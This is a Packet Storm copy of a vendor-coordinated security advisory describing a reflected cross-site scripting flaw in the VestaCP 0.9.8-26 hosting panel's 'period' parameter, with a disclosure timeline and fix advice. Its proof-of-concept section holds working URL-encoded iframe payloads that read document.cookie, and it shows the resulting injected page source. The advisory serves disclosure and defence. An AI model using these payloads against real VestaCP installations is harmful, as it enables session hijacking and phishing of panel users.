what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

VestaCP 0.9.8-26 Cross Site Scripting

VestaCP 0.9.8-26 Cross Site Scripting
Posted Dec 4, 2020
Authored by Benjamin Kunz Mejri, Vulnerability Laboratory | Site vulnerability-lab.com

VestaCP version 0.9.8-26 suffers from a cross site scripting vulnerability.

tags | exploit, xss
SHA-256 | 7e70fa744d9b07edcbfc4a161a26c921eb4218063ebaa6d7a2d8da58ea7d7db7

VestaCP 0.9.8-26 Cross Site Scripting

Change Mirror Download
Document Title:
VestaCP v0.9.8-26 - (period) Cross Site Web Vulnerability

References (Source):

Release Date:

Vulnerability Laboratory ID (VL-ID):

Common Vulnerability Scoring System:

Vulnerability Class:
Cross Site Scripting - Non Persistent

Current Estimated Price:
500€ - 1.000€

Product & Service Introduction:
Web interface is open source php and javascript interface based on Vesta open API, it uses 381 vesta CLI calls.
The GNU General Public Licence is a free, copyleft licence for software and other kinds of works. Its free to change,
modify and redistribute source code.

(Copy of the Homepage: https://vestacp.com/features/ & https://vestacp.com/install/ )

Abstract Advisory Information:
The vulnerability laboratory core research team discovered a non-persistent cross site vulnerability in the VestaCP v0.9.8-26 hosting web-application.

Affected Product(s):
Product: VestaCP v0.9.8-26 - Hosting Control Panel (Web-Application)

Vulnerability Disclosure Timeline:
2020-05-04: Researcher Notification & Coordination (Security Researcher)
2020-05-05: Vendor Notification (Security Department)
2020-05-07: Vendor Response/Feedback (Security Department)
2020-**-**: Vendor Fix/Patch (Service Developer Team)
2020-**-**: Security Acknowledgements (Security Department)
2020-11-24: Public Disclosure (Vulnerability Laboratory)

Discovery Status:

Exploitation Technique:

Severity Level:

Authentication Type:
Pre Auth (No Privileges or Session)

User Interaction:
Low User Interaction

Disclosure Type:
Independent Security Research

Technical Details & Description:
A non-persistent cross site vulnerability has been discovered in the official VestaCP (Control Panel) v0.9.8-26 hosting web-application.
The vulnerability allows remote attackers to inject own malicious script codes with non-persistent attack vector to compromise browser
to web-application requests from the client-side.

The cross site security vulnerability is located in the `period` parameter of the `./list/rrd/` and `./list/rrd/image.php?/rrd/la/` modules.
The injection point is located in the period parameter and the execution occurs in the `Graphs` module. The request method to inject the
malicious script code is GET and the attack vector of the vulnerability is non-persistent on client-side.

Successful exploitation of the vulnerability results in session hijacking, non-persistent phishing attacks, non-persistent external redirects
to malicious source and non-persistent manipulation of affected application modules.

Request Method(s):
[+] GET

Vulnerable Module(s):
[+] ./list/rrd/
[+] ./rrd/la/

Vulnerable File(s):
[+] image.php

Vulnerable Parameter(s):
[+] period

Proof of Concept (PoC):
The client-side cross site scripting web vulnerabilities can be exploited by remote attackers without account and with low user interaction.
For security demonstration or to reproduce the cross site web vulnerability follow the provided information and steps below to continue.

PoC: Example
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]
https://vestacp.localhost:8083/list/rrd/?period=[CROSS SITE SCRIPTING VULNERABILITY!]

PoC: Payloads

PoC: Exploitation
<title>VEST Control Panel - Client Side XSS POC</title>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.cookie)%3E%3C/iframe%3E%20>
<iframe src=https://vestacp.localhost:8083/list/rrd/?period=%3E%22%3E%3Ciframe%20src=evil.source%20onload=alert(document.domain)%3E%3C/iframe%3E%20>

PoC: Vulnerable Source (/list/rrd/ & /list/rrd/image.php)
<div class="l-unit un-selected selected-current">
<div class="l-unit-toolbar clearfix">
<div class="l-unit-toolbar__col l-unit-toolbar__col--right noselect">
<div class="actions-panel clearfix">
<div class="actions-panel__col actions-panel__edit actions-panel__download">
<a href="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe> -la.png" target="_blank">download <i></i></a>
... ...
<div class="l-unit__stats">
<img src="/list/rrd/image.php?/rrd/la/>"><iframe src="evil.source" onload="alert(document.cookie)"></iframe>-la.png">


Solution - Fix & Patch:
The cross site web vulnerability can be resolved by an encode or escape of the vulnerable period parameter context in the get method request.
Sanitize as well the output location of the content to resolve the point were the script code code executes.

Security Risk:
The security risk of the cross site scripting web vulnerability in the vesta cp web-application is estimated as medium.

Credits & Authors:
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.

Disclaimer & Information:
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data.

Domains: www.vulnerability-lab.com www.vuln-lab.com www.vulnerability-db.com
Services: magazine.vulnerability-lab.com paste.vulnerability-db.com infosec.vulnerability-db.com
Social: twitter.com/vuln_lab facebook.com/VulnerabilityLab youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php vulnerability-lab.com/rss/rss_upcoming.php vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php vulnerability-lab.com/register.php vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.

Copyright © 2020 | Vulnerability Laboratory - [Evolution Security GmbH]™
Login or Register to add favorites

File Archive:

December 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    11 Files
  • 2
    Dec 2nd
    0 Files
  • 3
    Dec 3rd
    0 Files
  • 4
    Dec 4th
    32 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By